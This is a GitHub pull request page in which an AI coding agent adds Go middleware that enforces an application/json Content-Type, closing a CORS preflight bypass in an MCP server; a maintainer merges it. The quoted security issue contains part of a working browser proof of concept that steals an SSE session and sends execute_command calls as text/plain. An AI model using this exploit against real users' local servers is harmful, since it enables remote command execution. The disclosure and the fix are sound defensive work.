Skip to content

security: enforce application/json Content-Type on /message to close CORS preflight bypass#47

Merged
cfc4n merged 2 commits intomasterfrom
copilot/fix-security-vulnerability-cors
Mar 15, 2026
Merged

security: enforce application/json Content-Type on /message to close CORS preflight bypass#47
cfc4n merged 2 commits intomasterfrom
copilot/fix-security-vulnerability-cors

Conversation

Copy link
Copy Markdown
Contributor

Copilot AI commented Mar 15, 2026

/message accepted any Content-Type and parsed the body as JSON regardless. Because browsers exempt text/plain, application/x-www-form-urlencoded, and multipart/form-data from CORS preflight, a cross-origin attacker could execute arbitrary MCP commands by posting with Content-Type: text/plain; mode: no-cors.

Changes

  • pkg/server/server.gorequireJSONContentType middleware

    • Rejects any POST request whose media type (parameters stripped) is not application/json with 415 Unsupported Media Type.
    • GET requests (SSE endpoint) pass through unconditionally.
    func requireJSONContentType(next http.Handler) http.Handler {
        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
            if r.Method == http.MethodPost {
                mediaType := strings.ToLower(strings.TrimSpace(strings.SplitN(r.Header.Get("Content-Type"), ";", 2)[0]))
                if mediaType != "application/json" {
                    http.Error(w, "Content-Type must be application/json", http.StatusUnsupportedMediaType)
                    return
                }
            }
            next.ServeHTTP(w, r)
        })
    }
  • pkg/server/server.goServe()

    • Constructs a *http.Server with requireJSONContentType wrapping the mcp-go SSEServer, injected via server.WithHTTPServer. This intercepts requests before the upstream library handler sees them.
  • pkg/server/server_test.goTestRequireJSONContentType

    • Covers: GET (pass), application/json ± charset (pass), text/plain / application/x-www-form-urlencoded / multipart/form-data / empty (all 415).
Original prompt

This section details on the original issue you should resolve

<issue_title>Security Vulnerability:/message accepts text/plain (bypassing CORS preflight)</issue_title>
<issue_description>This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)

vulnerability description

Browsers implement a CORS preflight mechanism: when JavaScript sends a non-simple request, such as a POST with Content-Type: application/json, the browser first sends an OPTIONS preflight request. If the server does not return valid CORS headers, the browser blocks the request outright, and the actual request is never sent.

However, three Content-Type values are classified as “simple requests” and therefore do not trigger a preflight check. The browser sends them directly: application/x-www-form-urlencoded, multipart/form-data, and text/plain.

Moling’s /message endpoint does not validate the Content-Type. When it receives a text/plain body, it directly parses and executes it as JSON. This allows an attacker to use text/plain to bypass the CORS preflight mechanism and send arbitrary MCP commands from the browser.

POC

<!DOCTYPE html>
<!--
  PoC gojue/moling#2 — Bypassing CORS Preflight with Content-Type: text/plain
  ===============================================================
  Principle:
    Browser CORS rules:
      Non-simple requests (e.g. Content-Type: application/json)
      → send an OPTIONS preflight request first
      Simple requests (Content-Type: text/plain)
      → are sent directly, with no preflight

    The /message endpoint does not validate Content-Type and parses a
    text/plain body as JSON and executes it
    → an attacker can send arbitrary MCP commands using text/plain,
      bypassing preflight-based blocking

  Verification goal:
    Demonstrate that text/plain can successfully execute MCP commands
    (in contrast to application/json being blocked)

  Victim prerequisite:
    moling -l 127.0.0.1:6789, and the sessionId has already been obtained
    through PoC gojue/moling#1
-->
<html>
<head><meta charset="utf-8"><title>PoC gojue/moling#2 - text/plain Bypass</title>
<style>
  body { font-family: monospace; background: #0d1117; color: #c9d1d9; padding: 20px; }
  pre  { background: gojue/moling#10409; border: 1px solid #30363d; padding: 14px;
         border-radius: 6px; white-space: pre-wrap; }
  .ok  { color: #3fb950; } .err { color: #ff7b72; }
  .info{ color: #79c0ff; } .warn{ color: #d29922; }
</style>
</head>
<body>
<h2>PoC gojue/moling#2 — Bypassing CORS Preflight with Content-Type: text/plain</h2>
<pre id="out">Waiting...</pre>

<script>
const out = document.getElementById('out');
const log = (s, c='') => {
  const e = document.createElement('span');
  e.className = c; e.textContent = s + '\n';
  out.appendChild(e);
};

const TARGET = 'http://127.0.0.1:6789';
let msgUrl = null, reqId = 0;
const pending = {};

// ─── Step 1: Obtain sessionId via PoC gojue/moling#1 ─────────────────────────
log('=== PoC gojue/moling#2: Bypassing CORS Preflight with Content-Type: text/plain ===\n');
log('[*] Step 1: Connect to SSE and obtain sessionId (depends on Vulnerability gojue/moling#1)');

const es = new EventSource(TARGET + '/sse');

es.addEventListener('endpoint', async (e) => {
  msgUrl = e.data.trim();
  log('[+] sessionId obtained successfully: ' + msgUrl.split('sessionId=')[1] + '\n', 'ok');

  // Register result callback
  es.addEventListener('message', (ev) => {
    try {
      const r = JSON.parse(ev.data);
      if (pending[r.id]) { pending[r.id](r); delete pending[r.id]; }
    } catch(_) {}
  });

  await runDemo();
});

// ─── Step 2: Compare the two request methods ─────────────────────
async function runDemo() {

  // Handshake first
  await sendWithCT('application/json', 'initialize', {
    protocolVersion: '2024-11-05', capabilities: {},
    clientInfo: { name: 'poc2', version: '1.0' }
  });
  await sendWithCT('application/json', 'notifications/initialized', {});

  // ── Demo A: application/json (normal behavior, browser sends OPTIONS preflight) ──
  log('[*] Step 2: Try Content-Type: application/json');
  log('    Browser behavior: sends OPTIONS preflight first → server returns no CORS headers → blocked by browser');
  log('    (Note: fetch will throw TypeError: Failed to fetch)\n');

  try {
    await fetch(msgUrl, {
      method: 'POST',
      // Do not set mode:'no-cors'; let the browser follow normal CORS behavior
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ jsonrpc:'2.0', method:'tools/call',
        params:{ name:'execute_command',
                 arguments:{ command:'echo json_attempt' }}, id: 50 })
    });
    log('[?] application/json request was sent successfully (unexpected)', 'warn');
  } catch (err) {
    log('[+] application/json was blocked by CORS (expected): ' + err.message, 'ok');
    log(' ...

</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Fixes gojue/moling#42

<!-- START COPILOT CODING AGENT TIPS -->
---

✨ Let Copilot coding agent [set things up for you](https://github.com/gojue/moling/issues/new?title=✨+Set+up+Copilot+instructions&body=Configure%20instructions%20for%20this%20repository%20as%20documented%20in%20%5BBest%20practices%20for%20Copilot%20coding%20agent%20in%20your%20repository%5D%28https://gh.io/copilot-coding-agent-tips%29%2E%0A%0A%3COnboard%20this%20repo%3E&assignees=copilot) — coding agent works faster and does higher quality work when set up for your repo.

…OST /message

Co-authored-by: cfc4n <709947+cfc4n@users.noreply.github.com>
Copilot AI changed the title [WIP] Fix security vulnerability: /message accepts text/plain bypassing CORS security: enforce application/json Content-Type on /message to close CORS preflight bypass Mar 15, 2026
Copilot AI requested a review from cfc4n March 15, 2026 09:06
@cfc4n
Copy link
Copy Markdown
Member

cfc4n commented Mar 15, 2026

fix #41

Copy link
Copy Markdown
Member

@cfc4n cfc4n left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@dosubot dosubot bot added the lgtm This PR has been approved by a maintainer label Mar 15, 2026
@cfc4n cfc4n marked this pull request as ready for review March 15, 2026 12:58
Copilot AI review requested due to automatic review settings March 15, 2026 12:58
@dosubot dosubot bot added the size:M This PR changes 30-99 lines, ignoring generated files. label Mar 15, 2026
@cfc4n cfc4n merged commit b53cbcb into master Mar 15, 2026
6 checks passed
@cfc4n cfc4n deleted the copilot/fix-security-vulnerability-cors branch March 15, 2026 12:58
@dosubot dosubot bot added the bug Something isn't working label Mar 15, 2026
Copy link
Copy Markdown

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR adds a requireJSONContentType middleware to reject POST requests with non-application/json Content-Types, closing a CORS preflight bypass vulnerability where browsers would send text/plain requests directly without preflight checks.

Changes:

  • Added requireJSONContentType middleware that returns 415 for POST requests without application/json Content-Type
  • Modified Serve() to wrap the SSE server with this middleware via WithHTTPServer
  • Added unit tests covering GET passthrough, valid JSON content types, and rejected simple content types

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 1 comment.

File Description
pkg/server/server.go Added requireJSONContentType middleware and wired it into the SSE server startup
pkg/server/server_test.go Added table-driven tests for the middleware

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

You can also share your feedback on Copilot code review. Take the survey.

Comment on lines +135 to +138
httpSrv := &http.Server{Addr: m.listenAddr}
sseServer := server.NewSSEServer(m.server, server.WithBaseURL(ltnAddr), server.WithHTTPServer(httpSrv))
httpSrv.Handler = requireJSONContentType(sseServer)
return sseServer.Start(m.listenAddr)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working lgtm This PR has been approved by a maintainer size:M This PR changes 30-99 lines, ignoring generated files.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants